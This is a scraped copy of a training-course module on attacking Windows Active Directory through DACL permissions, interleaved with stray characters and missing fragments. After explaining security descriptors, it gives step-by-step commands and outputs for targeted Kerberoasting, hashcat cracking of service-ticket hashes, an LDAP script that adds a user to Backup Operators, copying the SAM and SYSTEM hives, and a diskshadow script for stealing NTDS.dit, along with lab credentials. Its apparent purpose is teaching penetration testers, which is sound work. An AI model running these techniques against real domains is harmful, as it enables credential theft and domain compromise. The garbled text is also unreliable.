DACL Attacks I - @CyberFreeCourses
DACL Attacks I - @CyberFreeCourses
DACL Attacks I
DACLs Overview
Within the Windows security ecosystem, tokens and security descriptors are the two
main variables of the object security equation. While tokens identify the security context of
a process or a thread, security descriptors contain the security information associated
with an object. To achieve the Confidentiality pillar of the CIA triad, many operating
systems and directory services utilize access control lists ( ACLs ), "a mechanism that
implements access control for a system resource by enumerating the system entities that
are permitted to access the resource and stating, either implicitly or explicitly, the access
modes granted to each entity", according to RFC4949.
Remember that access control policies dictate what types of access are permitted, under
what circumstances, and by whom. The four general categories of access control policies
are Discretionary access control ( DAC ), Mandatory access control ( MAC ), Role-
based access control ( RBAC ), and Attribute-based access control ( ABAC ).
r
.i
DAC , the traditional method of implementing access control, controls access based on the
requestor's identity and access rules stating what requestors are (or are not) allowed to do. It
01
is discretionary because an entity might have access rights that permit it, by its own
volition, to enable another entity to access some resource; this is in contrast to MAC , in
de
which the entity having access to a resource may not, just by its own volition, enable another
entity to access that resource. Windows is an example of a DAC operating system, which
hi
The image below shows the DACL / ACL for the user account forend in Active Directory
Users and Computers ( ADUC ). Each item under Permission entries makes up the
DACL for the user account. In contrast, the individual entries (such as Full Control or
Change Password ) are Access Control Entries ( ACEs ) showing the access rights
granted over this user object to various users and groups.
https://t.me/CyberFreeCourses
DACLs are part of the bigger picture of security descriptors . Let us review security
descriptors to understand them better and their roles within the access control model.
Security Descriptors
r
In Windows, every object (also known as securable objects) has a security descriptor
.i
data structure that specifies who can perform what actions on the object. The security
descriptor is a binary data structure that, although it can vary in length and exact
01
Revision Number : The SRM ( Security Reference Monitor ) version of the security
model used to create the descriptor.
hi
https://t.me/CyberFreeCourses
SECURITY_DESCRIPTOR_CONTROL Control;
PSID Owner;
PSID Group;
PACL Sacl;
PACL Dacl;
} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;
Self-relative security descriptors are not very different: instead of storing pointers,
they store the actual data of a security descriptor in a contiguous memory block. These
are meant to store a security descriptor on a disk or transmit it over the wire.
Four of the seven members of the SECURITY_DESCRIPTOR struct matter to us for the
exploitation of DACLs ; therefore, we will review them to understand what they are.
Control r
.i
The Control member is of type SECURITY_DESCRIPTOR_CONTROL, a 16-bit set of bit
01
flags that qualify the meaning of a security descriptor or its components. The value of
Control , when retrieved with the function GetSecurityDescriptorControl, can include a
de
SE_DACL_AUTO_INHERITED 0x0400
SE_DACL_DEFAULTED 0x0008
SE_DACL_PRESENT 0x0004
SE_DACL_PROTECTED 0x1000
SE_GROUP_DEFAULTED 0x0002
SE_OWNER_DEFAULTED 0x0001
SE_SACL_AUTO_INHERIT_REQ 0x0200
SE_SACL_AUTO_INHERITED 0x0800
SE_SACL_DEFAULTED 0x0008
SE_SACL_PRESENT 0x0010
SE_SACL_PROTECTED 0x2000
SE_SELF_RELATIVE 0x8000
https://t.me/CyberFreeCourses
These binary flags can be added to represent any combinations. For example, if the value of
Control is 0x8014 , it signifies the presence of the SE_DACL_PRESENT , SE_SACL_PRESENT ,
and SE_SELF_RELATIVE flags.
Flag Meaning
SE_DACL_PRESENT Indicates a security descriptor that has a DACL . If not set, or if
set and the DACL is NULL , the security descriptor allows full
access to everyone. An empty DACL permits access to no one.
Owner
The Owner and Group members contain a pointer to the Security Identifier ( SID ) of
the object's owner and primary group, respectively. Object owners are always granted full
control of the security descriptor , as they are granted the access rights
RIGHT_WRITE_DAC ( WriteDacl ) and RIGHT_READ_CONTROL ( ReadControl ) implicitly.
control lists ) are the two types of access control lists ( ACLs ), each consisting of a
header and zero or more access control entries ( ACEs ). (Throughout security
de
literature, when the term ACL is used, it usually refers to DACL , especially for Windows
systems.)
hi
A SACL contains ACEs that dictate the types of access attempts that generate audit records
in the security event log of a domain controller; therefore, a SACL allows administrators
to log access attempts to securable objects . There are two types of ACEs within a SACL ,
system audit ACEs and system audit-object ACEs .
While a DACL holds ACEs that dictate what principals have control rights over a specific
object. Internally within Windows, a DACL consists of an ACL followed by an ordered list of
zero or more ACEs (the same applies to SACLs ). Below is the struct definition of an ACL
(recognizing these struct definitions will help us later on when viewing a security
descriptor from the kernel's point of view):
https://t.me/CyberFreeCourses
} ACL;
BYTE AceFlags;
WORD AceSize;
de
} ACE_HEADER;
hi
In a DACL , there can be nine types of ACEs , each having the struct ACE_HEADER as a
member, in addition to the Mask member (which is of type ACCESS_MASK and defines the
standard, specific, and generic rights) and SidStart (which holds the first 32 bits of the
trustee's SID ):
Access Allowed
Access Denied
Access Allowed Object
Access Denied Object
Access Allowed Callback
Access Denied Callback
Access Allowed Object Callback
Conditional Claims
https://t.me/CyberFreeCourses
ACE Implication
ACCESS_ALLOWED_ACE Allows a particular security principal (user or
group) to access an Active Directory object ,
such as a user account or group. An Access
Allowed ACE specifies which permissions the
security principal can perform on the object, such
as read, write, or modify.
ACCESS_ALLOWED_OBJECT_ACE A specific type of Access Allowed ACE that is
applied to an object and grants access to the
object itself and any child objects it contains. An
Access Allowed Object ACE can grant a
security principal the necessary permissions to
access an object and its child objects without
applying separate ACEs to each child object.
ACCESS_DENIED_ACE Denies a particular security principal access to
an Active Directory object , such as a user
account or group. An Access Denied ACE
specifies which permissions the security principal
is not allowed to perform on the object, such as
r
read, write, or modify.
.i
ACCESS_DENIED_OBJECT_ACE A specific type of Access Denied ACE that is
applied to an object and restricts access to
01
As you may have noticed, some ACEs include the keyword Object , these are object-
specific ACEs used only within Active Directory . In addition to the members of generic
ACEs structure, object-specific ACEs contain the members:
https://t.me/CyberFreeCourses
Using dsacls
dsacls (the command-line equivalent to the Security tab in the Properties dialog box of
ADUC ) is a native Windows binary that can display and change ACEs / permissions in
ACLs of AD objects. Let us view the ACLs for the user Yolanda within the domain
inlanefreight.local :
PS C:\Users\Administrator> dsacls.exe
"cn=Yolanda,cn=users,dc=inlanefreight,dc=local"
Access list:
Allow INLANEFREIGHT\Domain Admins FULL CONTROL
Allow BUILTIN\Account Operators FULL CONTROL
Allow NT AUTHORITY\Authenticated Users
SPECIAL ACCESS
r
READ PERMISSONS
.i
Allow NT AUTHORITY\SELF SPECIAL ACCESS
READ PERMISSONS
01
LIST CONTENTS
READ PROPERTY
de
LIST OBJECT
Allow NT AUTHORITY\SYSTEM FULL CONTROL
hi
We can be more specific by fetching out the permissions that other users have against
Yolanda ; for example, let us enumerate the permissions that Pedro only has over
Yolanda :
https://t.me/CyberFreeCourses
PS C:\Users\Administrator> dsacls.exe
"cn=Yolanda,cn=users,dc=inlanefreight,dc=local" | Select-String "Pedro"
1 0 4 140 44 7 0 0 0 0 0 0 0 0 0 0 20 0 0 0 4 0 24 7 42 0 0 0 5 0 56 0 0 1
de
https://t.me/CyberFreeCourses
1 0 0 0 66 47 186 89 162 121 208 17 144 32 0 192 79 194 211 207 1 1 0 0 0
<SNIP>
Now that we have the security descriptor for Yolanda as a binary blob, we need to
parse it using the function SetSecurityDescriptorBinaryForm from the class
ActiveDirectorySecurity. Then we can view all of the ACEs of Yolanda :
ActiveDirectoryRights : GenericRead
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
r
.i
IdentityReference : NT AUTHORITY\SELF
IsInherited : False
01
InheritanceFlags : None
PropagationFlags : None
de
ActiveDirectoryRights : ReadControl
InheritanceType : None
hi
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
ActiveDirectoryRights : GenericAll
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : NT AUTHORITY\SYSTEM
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
https://t.me/CyberFreeCourses
<SNIP>
We can also be more specific and fetch out the permissions that Pedro only has over
Yolanda :
ActiveDirectoryRights : ExtendedRight
InheritanceType : None
ObjectType : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : ObjectAceTypePresent
AccessControlType : Allow
IdentityReference : INLANEFREIGHT\pedro
IsInherited : False r
InheritanceFlags : None
.i
PropagationFlags : None
01
To view the DACL of the process explorer.exe internally, we need to deference the
SecurityDescriptor pointer within the ObjectHeader member of explorer.exe (which
can be done with local kernel debugging and WinDbg). This will enable us to examine
how the Windows kernel sees a security descriptor :
->Revision: 0x1
->Sbz1 : 0x0
->Control : 0x8814
SE_DACL_PRESENT
SE_SACL_PRESENT
SE_SACL_AUTO_INHERITED
SE_SELF_RELATIVE
->Owner : S-1-5-21-1220085036-3517073048-2454771104-1008
->Group : S-1-5-21-1220085036-3517073048-2454771104-513
->Dacl :
->Dacl : ->AclRevision: 0x2
https://t.me/CyberFreeCourses
->Dacl : ->Sbz1 : 0x0
->Dacl : ->AclSize : 0x5c
->Dacl : ->AceCount : 0x3
->Dacl : ->Sbz2 : 0x0
->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[0]: ->AceFlags: 0x0
->Dacl : ->Ace[0]: ->AceSize: 0x24
->Dacl : ->Ace[0]: ->Mask : 0x001fffff
->Dacl : ->Ace[0]: ->SID: S-1-5-21-1220085036-3517073048-2454771104-
1008
Using AccessChk
AccessChk is part of the Sysinternals suite that enables viewing the specific access
rights granted to users or groups. For example, to view the security descriptor of the
process explorer.exe , we can use the -l parameter:
https://t.me/CyberFreeCourses
[8992] explorer.exe
DESCRIPTOR FLAGS:
[SE_DACL_PRESENT]
[SE_SACL_PRESENT]
[SE_SACL_AUTO_INHERITED]
[SE_SELF_RELATIVE]
OWNER: 3L1T3\Admin
LABEL: Medium Mandatory Level
SYSTEM_MANDATORY_LABEL_NO_WRITE_UP
SYSTEM_MANDATORY_LABEL_NO_READ_UP
[0] ACCESS_ALLOWED_ACE_TYPE: 3L1T3\Admin
PROCESS_ALL_ACCESS
[1] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
PROCESS_ALL_ACCESS
[2] ACCESS_ALLOWED_ACE_TYPE: 3L1T3\Admin-S-1-5-5-0-191017
PROCESS_QUERY_INFORMATION
PROCESS_QUERY_LIMITED_INFORMATION
PROCESS_TERMINATE
PROCESS_VM_READ
SYNCHRONIZE
READ_CONTROL r
.i
01
DACLs , as per our explanation, consist of an ACL data structure followed by an ordered list
of zero or more ACE data structures. The only difference between the DACLs of AD objects
de
and normal objects is the value that members such as Mask can have.
hi
Coming Next
After having a brief understanding of security descriptors and DACLs , we will go over
how to enumerate and audit DACLs of objects within an AD environment using automated
tools such as dacledit.py , PowerView , and BloodHound .
DACLs Enumeration
There are two essential ACE concepts to comprehend before we start enumerating and
attacking DACLs , Access Masks and Access Rights .
https://t.me/CyberFreeCourses
For AD objects, the access mask contains a combination of the below values (represented
in big-endian format), noting that X indicates bits that are ignored in AD DACLs :
https://t.me/CyberFreeCourses
Display Name Common Name Hexadecimal Interpretation
Value
GenericExecute GX / 0x20000000 Allows reading
RIGHT_GENERIC_EXECUTE permissions on and
listing the contents of a
container object. This is
equivalent to the
object-specific
access rights bits ( RC |
LC ) for AD objects.
https://t.me/CyberFreeCourses
Display Common Name Hexadecimal Interpretation
Name Value
WriteOwner WO / 0x00080000 Allows modifying the object's
RIGHT_WRITE_OWNER security descriptor 's
owner . A user can only take
ownership of an object but
cannot transfer ownership of
an object to other users.
ReadControl RC / 0x00020000 Allows reading the data from
RIGHT_READ_CONTROL the object's security
descriptor , however, this
does not include the data of
the SACL .
Delete DE / RIGHT_DELETE 0x00010000 Allows deleting the object.
https://t.me/CyberFreeCourses
Common Name Hexadecimal Interpretation
Value
VW / 0x00000008 Allows performing an
RIGHT_DS_WRITE_PROPERTY_EXTENDED operation controlled by a
validated write access right .
The ObjectType member of
an ACE can contain a GUID
that identifies the validated
write . If ObjectType does
not contain a GUID , the ACE
controls the rights to perform
all validated write
operations associated with the
object. Also referred to as
Self .
Now that we understand how some access mask bits are interpreted let us know about
specific abusable extended and validated writes access rights .
Name Value
Reset User-Force- 00299570-246d- Allows a user's account
hi
Validated Writes
https://t.me/CyberFreeCourses
Two out of the five validated writes can be abused:
Enumerating DACLs
Some automated tools can be used to inspect/enumerate an object's DACL to find out what
access rights other principals have over it.
On UNIX-like systems, impacket's dacledit.py can be used for that purpose. At the time of
writing, pull request #1291 offering that tool is still being reviewed and in active development.
de
We can get dacledit.py directly from the ShutdownRepo fork while the branch gets merged
into impacket 's main branch.
hi
Installing dacledit.py
To install dacledit.py , we will clone the ShutdownRepo impacket's branch, create a
Python virtual environment (to avoid conflict between the original Impacket installation and
this branch) and install the forked impacket repository:
cd impacket
pwd
/home/plaintext/htb/modules/dacl/shutdownRepo/impacket
python3 -m venv .dacledit
https://t.me/CyberFreeCourses
source .dacledit/bin/activate
Processing /home/plaintext/htb/modules/dacl/shutdownRepo/impacket
Collecting chardet
Downloading chardet-5.1.0-py3-none-any.whl (199 kB)
|████████████████████████████████| 199 kB 1.7 MB/s
Collecting flask>=1.0
Using cached Flask-2.3.2-py3-none-any.whl (96 kB)
<SNIP>
Executing dacledit.py
LMHASH:NTHASH]
[-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
[-principal NAME] [-principal-sid SID] [-principal-dn
hi
DN]
[-target NAME] [-target-sid SID] [-target-dn DN]
[-action [{read,write,remove,backup,restore}]]
[-file FILENAME] [-ace-type [{allowed,denied}]]
[-rights
[{FullControl,ResetPassword,WriteMembers,DCSync}]]
[-rights-guid RIGHTS_GUID] [-inheritance]
identity
positional arguments:
identity domain.local/username[:password]
optional arguments:
-h, --help show this help message and exit
-use-ldaps Use LDAPS instead of LDAP
-ts Adds timestamp to every logging output
-debug Turn DEBUG output ON
https://t.me/CyberFreeCourses
authentication & connection:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials
from
ccache file (KRB5CCNAME) based on target
parameters.
If valid credentials cannot be found, it will use
the
ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or
256
bits)
-dc-ip ip address IP Address of the domain controller or KDC (Key
Distribution Center) for Kerberos. If omitted it
will
use the domain part (FQDN) specified in the
identity
parameter
principal: r
.i
Object, controlled by the attacker, to reference in the ACE to create or
to filter when printing a DACL
01
target:
Principal object to read/edit the DACL of
dacl editor:
-action [{read,write,remove,backup,restore}]
Action to operate on the DACL
-file FILENAME Filename/path (optional for -action backup,
required
for -restore))
-ace-type [{allowed,denied}]
The ACE Type (access allowed or denied) that must
be
added or removed (default: allowed)
-rights [{FullControl,ResetPassword,WriteMembers,DCSync}]
Rights to write/remove in the target DACL
(default:
FullControl)
https://t.me/CyberFreeCourses
-rights-guid RIGHTS_GUID
Manual GUID representing the right to write/remove
-inheritance Enable the inheritance in the ACE flag with
CONTAINER_INHERIT_ACE and OBJECT_INHERIT_ACE.
Useful
when target is a Container or an OU, ACE will be
inherited by objects within the container/OU
(except
objects with adminCount=1)
-action defines the operation to conduct. In the below examples, it must be set to
read . If the argument is not set, it defaults to read . The other actions are write ,
remove , backup , and restore .
-target , -target-sid , or -target-dn , respectively, define the sAMAccountName,
Security IDentifier, or Distinguished Name of the object from which the DACL must be
retrieved and parsed.
-principal , -principal-sid , or -principal-dn , respectively, define the
r
sAMAccountName , Security Identifier , or Distinguished Name of the principal to
.i
look for and filter in the parsed DACL. This argument is handy to quickly determine
01
https://t.me/CyberFreeCourses
[*] ACE flags : None
[*] Access mask : ReadProperty
[*] Flags : ACE_OBJECT_TYPE_PRESENT
[*] Object type (GUID) : User-Logon (5f202010-79a5-11d0-9020-
00c04fc2d4cf)
[*] Trustee (SID) : RAS and IAS Servers (S-1-5-21-
1267651629-1192007096-1618970724-553)
[*] ACE[2] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] ACE flags : None
[*] Access mask : ReadProperty
[*] Flags : ACE_OBJECT_TYPE_PRESENT
[*] Object type (GUID) : Membership (bc0ac240-79a9-11d0-9020-
00c04fc2d4cf)
[*] Trustee (SID) : RAS and IAS Servers (S-1-5-21-
1267651629-1192007096-1618970724-553)
[*] ACE[3] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] ACE flags : None
[*] Access mask : ReadProperty
[*] Flags : ACE_OBJECT_TYPE_PRESENT
[*] Object type (GUID) r
: RAS-Information (037088f8-0ae1-11d2-
.i
b422-00a0c968f939)
[*] Trustee (SID) : RAS and IAS Servers (S-1-5-21-
01
1267651629-1192007096-1618970724-553)
...
de
hi
Note: Make sure to use the virtual environment when executing dacledit.py.
BloodHound, one of the most famous tools used for Active Directory auditing, gathers all
DACLs and correlates them to allow the analysis of rights in graph models, making finding
abusable access rights easy. In the screenshot below, some edges (highlighted in red) show
abusable access rights / privileges :
https://t.me/CyberFreeCourses
r
.i
01
de
hi
BloodHound makes auditing easier by separating control rights into two categories:
Review the module BloodHound for Active Directory to learn more about BloodHound .
https://t.me/CyberFreeCourses
r
.i
01
de
hi
Coming Next
We provided some examples to perform the enumeration or auditing of these access rights
from Linux with dacledit.py and Windows with PowerView. However, always remember that
understanding how to use BloodHound to identify these access rights/privileges is crucial
because the number of access rights to audit manually would be too large.
In the next section, we will learn about targeted Kerberoasting and how to carry out the
attack from Linux and Windows.
Targeted Kerberoasting
Kerberoasting is a post-exploitation attack that takes advantage of the way Service
Principal Names ( SPNs ) are used in Active Directory for authentication. When a client
https://t.me/CyberFreeCourses
requests a Kerberos TGS service ticket, it gets encrypted with the service account’s NTLM
password hash. An attacker can obtain this ticket and perform offline password cracking to
open it. If successful, the attacker can obtain the service account’s password. The success
of this attack depends on the strength of the service account’s password. (Review the
Kerberos Attacks module to learn about Kerberoasting and other Kerberos attacks.)
When an attacker possesses an account with the ability to edit the servicePrincipalName
attribute of another user account in a domain, they can potentially make that account
vulnerable to a Kerberoasting attack. By adding an SPN to the user account, the attacker
can request a Kerberos TGS service ticket for that SPN and obtain it, encrypted with the
user account's NTLM password hash. The attacker can then use offline password-cracking
techniques to try to open the ticket and obtain the user account's password.
Alternatively, if we are working from Linux, we can also use dacledit.py to search for those
rights. In the following example, we will query what rights the user Pedro has over the target
account Rita :
If we are working from Windows, we can use PowerView to identify such privileges. First, we
will need to get the SID for the user Pedro and then use it to filter the result of Get-
DomainObjectACL for the user Rita :
ObjectDN : CN=Rita,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
hi
ObjectSID : S-1-5-21-1267651629-1192007096-1618970724-4613
ActiveDirectoryRights : WriteProperty
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : f3a64788-5306-11d1-a9c5-0000f80367c1
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 32
SecurityIdentifier : S-1-5-21-1267651629-1192007096-1618970724-4617
AceType : AccessAllowedObject
AceFlags : ContainerInherit
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
AuditFlags : None
Cloning targetedKerberoast
cd targetedKerberoast
de
Running targetedKerberoast.py
https://t.me/CyberFreeCourses
python3 targetedKerberoast.py --help
Queries target domain for SPNs that are running under a user account and
operate targeted Kerberoasting
optional arguments:
-h, --help show this help message and exit
-v, --verbose verbosity level (-v for verbose, -vv for debug)
-q, --quiet show no information at all
-D TARGET_DOMAIN, --target-domain TARGET_DOMAIN
Domain to query/request if different than the
domain of the user. Allows for Kerberoasting across trusts.
-U USERS_FILE, --users-file USERS_FILE
File with user per line to test
--request-user username r
Requests TGS for the SPN associated to the user
.i
specified (just the username, no domain needed)
-o OUTPUT_FILE, --output-file OUTPUT_FILE
01
on targeted Kerberoasting
--no-abuse Don't attempt targeted Kerberoasting
--dc-host DC_HOST Hostname of the target, can be used if port 445 is
blocked or if NTLM is disabled
secrets:
-k, --kerberos Use Kerberos authentication. Grabs credentials
from .ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones
specified in the command line
--no-pass don't ask for password (useful for -k)
-p PASSWORD, --password PASSWORD
password to authenticate with
https://t.me/CyberFreeCourses
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
NT/LM hashes, format is LMhash:NThash
--aes-key hex key AES key to use for Kerberos Authentication (128 or
256 bits)
Now we can use the Pedro account to attack the Rita account and try to retrieve its hash
(we can also use the option -o filename.txt to save the hash into a file):
great)" while running targetedKerberoast.py or any other tool from Linux that use Kerberos
as an authentication protocol, we need to sync the Linux machine's clock with the Active
Directory DC's clock, using the ntpdate command, for example, sudo ntpdate
DC_IP_ADDRESS.
serviceprincipalname
--------------------
https://t.me/CyberFreeCourses
Setting the SPN
r
$krb5tgs$23$*Rita$INLANEFREIGHT.LOCAL$nonexistent/BLAHBLAH*$D4A950150D67A9
.i
99192B12391DF13964$51114AA3599DA07F692CEB45<SNIP>
01
Verbose
Once we obtain the hash, we can use hashcat to crack it, utilizing hash-mode 13100 (
Kerberos 5, etype 23, TGS-REP ):
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF,
https://t.me/CyberFreeCourses
DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==========================================================================
===================================================
* Keyspace..: 14344385
* Runtime...: 1 sec
de
$krb5tgs$23$*Rita$INLANEFREIGHT.LOCAL$inlanefreight.local/Rita*$b5fe2a905a
7a7fa71483ddeb4b3aff57$<SNIP>76ec6d19959920e311fd6cb6008ea4b34f:Password12
hi
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......:
$krb5tgs$23$*Rita$INLANEFREIGHT.LOCAL$inlanefreight...a4b34f
<SNIP>
We can confirm if the cracked password is valid using CrackMapExec (follow this installation
guide if you do not have CrackMapExec installed) or any other tool:
https://t.me/CyberFreeCourses
(SMBv1:False)
SMB 10.129.205.81 445 DC01 [+]
INLANEFREIGHT.LOCAL\rita:Password123
Conclusion
As penetration testers and security experts, we must understand how to use different tools to
achieve the same purpose when abusing DACLs . It is also essential to understand how
these tools usually present information differently.
The following section will show how to abuse other BloodHound edges.
Note: BloodHound and all tools needed to complete the labs are located under C:\Tools\.
BloodHound credentials are neo4j:Password123
AddMembers
When an attacker controls a privileged user account with the ability to edit a group's member
attribute, they can effectively add new users to that group. This attack/abuse is possible
r
when the controlled account has GenericAll , GenericWrite , Self , AllExtendedRights ,
.i
or Self-Membership over the target group.
01
We can use BloodHound to determine if we have those privileges via the AddMembers
edge:
hi
Alternatively, if we are working from Linux, we can also use dacledit.py. In the following
example, we will query which access rights the user Pedro has over the target group
Backup Operators :
https://t.me/CyberFreeCourses
cd /home/plaintext/htb/modules/dacl/shutdownRepo/impacket
source .dacledit/bin/activate
python3 examples/dacledit.py -principal pedro -target 'Backup Operators' -
dc-ip 10.129.205.81 inlanefreight.local/pedro:SecuringAD01
As we can see in the above output, Pedro , has Self-Membership over the target group
Backup Operators ; this means that Pedro can add himself to the group, but Pedro cannot
add any other user.
If we are working from Windows, we can use PowerView to identify such access rights. We
will need to get the Security Identifier ( SID ) for the user Pedro and then filter the
result of Get-DomainObjectACL for the group Backup Operators :
https://t.me/CyberFreeCourses
AceQualifier : AccessAllowed
ObjectDN : CN=Backup
Operators,CN=Builtin,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : Self
ObjectAceType : Self-Membership
ObjectSID : S-1-5-32-551
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1267651629-1192007096-1618970724-4617
AccessMask : 8
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
AceType : AccessAllowed
ObjectDN : CN=Backup r
.i
Operators,CN=Builtin,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ReadProperty, GenericExecute
01
OpaqueLength : 0
ObjectSID : S-1-5-32-551
de
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
hi
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1267651629-1192007096-1618970724-4617
AccessMask : 131092
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed
Let us try to use net on an account that does not have administrator privileges to query the
Backup Operators group membership:
https://t.me/CyberFreeCourses
Using net to Query Group Membership
INLANEFREIGHT\carll
The results show that only Carll is a Backup Operators member. Now let us try to add
Pedro to the group using net :
r
We got access denied because net doesn't allow us to abuse group membership with
.i
Self-Membership rights. For such cases, an alternative is to use the LDAP protocol when
we are trying to change a group's membership. Let us create a Python script to modify the
01
group membership using LDAP. For this example, we will use the addusertogroup Python
script that utilizes the ldap3 library:
de
hi
https://t.me/CyberFreeCourses
# Extract values from command-line arguments
domain_name = args.domain
group_name = args.group
user_name = args.adduser
ad_username = args.user
ad_password = args.password
sys.exit(1)
de
search_filter=f'(&(objectClass=group)(cn={group_name}))',
attributes=['member']
)
Using the LDAP protocol, this script adds a user to an Active Directory group in a Windows
domain. We need to provide the following arguments when running it:
hi
Once we provide these arguments, the script will connect to the Active Directory server using
the provided credentials, search for the specified group and user, and then attempt to add
the user to the group if they are not already a member of it. If the operation is successful, the
script will print a success message; otherwise, it will print an error message.
https://t.me/CyberFreeCourses
[+] Connected to Active Directory successfully.
[+] Group Backup Operators found.
[+] User pedro found.
[+] User added to group successfully.
Note: The script uses DNS name resolution to connect to the domain. Make sure to
configure the DNS and IP in the /etc/hosts file.
If we now query the group's membership, we will attain the following results:
INLANEFREIGHT\pedro
INLANEFREIGHT\carll
create groups, users and other operations. net in Windows has the same limitation in Linux:
we cannot use it to abuse the Self-MemberShip access right. That is why we need to use
de
another method to be able to abuse the AddMember privilege. We will use the Cmdlet Add-
hi
Let us try to use net to query the Backup Operators group membership:
Members
https://t.me/CyberFreeCourses
--------------------------------------------------------------------------
-----
carll
The command completed successfully
Note: Instead of net group we used net localgroup as "Backup Operators" is a built-in group
in Active Directory, and we are querying it from the DC. If we perform the same action from a
Domain-joined machine, we should instead use net group "Backup Operators" /domain
We will get the "Access Denied" error message if we try to add Pedro to the group using
net :
Access is denied.
r
.i
We cannot modify the group membership when we have Self-MemberShip . For this reason,
01
Let us launch a new cmd.exe window as Administrator and use the credentials of Pedro to
confirm we have the appropriate access rights/privileges:
https://t.me/CyberFreeCourses
Pedro with Backup Operators Privileges
PRIVILEGES INFORMATION
----------------------
Subsequently, we can use abuse SeBackupPrivilege by copying the SAM & SYSTEM
registry hives to extract local accounts credentials:
C:\users\Public\system
de
Because we are working with Active Directory, we also need its database, NTDS.dit. To get
it, we need to create a Shadow Copy because the operating system uses the Active
Directory database. The shadow copy will create a copy of the selected disk, and we will
take the database from that copy.
Diskshadow.exe is a tool that exposes the functionality of the Volume Shadow Copy
Service ( VSS ). We will use a diskshadow script to create the shadow copy:
https://t.me/CyberFreeCourses
add volume c: alias mydrive
create
expose %mydrive% p:
end backup
The script performs a backup, creates a persistent shadow copy of the C: volume (the
system drive) on Windows, and assigns it a drive letter p , which can be accessed for
backup or recovery purposes. Here is a breakdown of the commands:
set context persistent nowriters : This sets the context for the shadow copy to be
persistent (so it can be accessed after the backup) and specifies that no writers should
be used. This is useful for creating a live system backup without interfering with running
applications or services.
set metadata c:\windows\temp\file.cab : Sets the location for the metadata of the
shadow copy to be saved. This includes all information associated with the shadow
copy that describes its state and contents.
r
set verbose on : This enables verbose output for debugging purposes.
.i
begin backup : This starts the backup process.
add volume c: alias mydrive : This adds the C: volume to the backup and assigns
01
expose %mydrive% p: : This assigns the shadow copy to the drive letter P: . The
hi
original drive letter of the selected volume may differ from C: therefore, this command
ensures that the backup is accessible as a drive letter.
end backup : This ends the backup process.
Execute diskshadow
https://t.me/CyberFreeCourses
Alias mydrive for shadow ID {f74f7237-966c-4e49-b523-8b9d39099840} set as
environment variable.
Alias VSS_SHADOW_SET for shadow set ID {079bfed4-0ea9-40a6-af50-
15c143646653} set as environment variable.
Inserted file Manifest.xml into .cab file file.cab
Inserted file DisE314.tmp into .cab file file.cab
Querying all shadow copies with the shadow copy set ID {079bfed4-0ea9-
40a6-af50-15c143646653}
--------------------------------------------------------------------------
-----
